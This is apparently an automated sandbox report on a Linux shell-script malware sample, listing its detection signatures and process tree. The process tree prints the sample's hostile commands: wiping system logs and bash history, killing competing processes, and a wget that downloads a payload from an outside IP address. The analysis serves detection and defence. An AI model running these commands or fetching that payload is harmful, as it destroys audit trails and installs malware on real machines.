Overview

overview

7

Static

static

1

b252e8d27c...bin.sh

ubuntu-18.04-amd64

7

b252e8d27c...bin.sh

debian-9-armhf

7

b252e8d27c...bin.sh

debian-9-mips

6

b252e8d27c...bin.sh

debian-9-mipsel

6

Analysis

  • max time kernel
    130s
  • max time network
    147s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/11/2026, 03:12

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General

  • Target
    b252e8d27c5f8a30346345df9d62d86153c189ca9270cd99cbee3c3a4b1eb322.bin.sh
  • Size 6KB
  • Sample261111-dp8yyaea29
  • SHA256 b252e8d27c5f8a30346345df9d62d86153c189ca9270cd99cbee3c3a4b1eb322
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • Deletes system logs 1 TTPs 2 IoCs

    Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

    defense_evasion
  • Deletes log files 1 TTPs 3 IoCs

    Deletes log files on the system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 1 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b252e8d27c5f8a30346345df9d62d86153c189ca9270cd99cbee3c3a4b1eb322.bin.sh
    /tmp/b252e8d27c5f8a30346345df9d62d86153c189ca9270cd99cbee3c3a4b1eb322.bin.sh
    1⤵
      PID:1511
      • /usr/bin/tr
        tr -dc a-z
        2⤵
          PID:1514
        • /usr/bin/head
          head -c 6
          2⤵
            PID:1515
          • /usr/bin/head
            head -c 32 /dev/urandom
            2⤵
              PID:1513
            • /bin/uname
              uname -m
              2⤵
                PID:1516
              • /usr/bin/id
                id -u
                2⤵
                  PID:1517
                • /bin/rm
                  rm -f /var/log/messages /var/log/syslog /var/log/auth.log /var/log/secure /var/log/wtmp
                  2⤵
                  • Deletes system logs
                  • Deletes log files
                  PID:1518
                • /bin/rm
                  rm -f "~/.bash_history"
                  2⤵
                    PID:1519
                  • /usr/bin/pkill
                    pkill -9 -f "kworker-helper|dhcpcd-monitor|ntpd-sync|udevd-helper|syslogd-rotate|crond-helper|netlink-monitor|mdev-trigger|avahi-helper|dbus-monitor|logrotate-svc|tmpfiles-clean|resolved-helper|busybox-svc|dropbear-agent|iptables-helper|sysd"
                    2⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:1520
                  • /usr/bin/killall
                    killall -9 kworker-helper dhcpcd-monitor ntpd-sync udevd-helper syslogd-rotate crond-helper netlink-monitor mdev-trigger avahi-helper dbus-monitor logrotate-svc tmpfiles-clean resolved-helper busybox-svc dropbear-agent iptables-helper sysd
                    2⤵
                    • Reads runtime system information
                    PID:1523
                  • /usr/bin/wget
                    wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O dofv "http://168.220.248.106:9087/payload/a6i3khk75wgf/jttukyxlmz?t=49d07da4b59b312270ad37c8a6b1a42ace224d7244efc0cee97ca4128f9c7ea5"
                    2⤵
                    • Writes file to tmp directory
                    PID:1524

                Network

                      MITRE ATT&CK Enterprise v16

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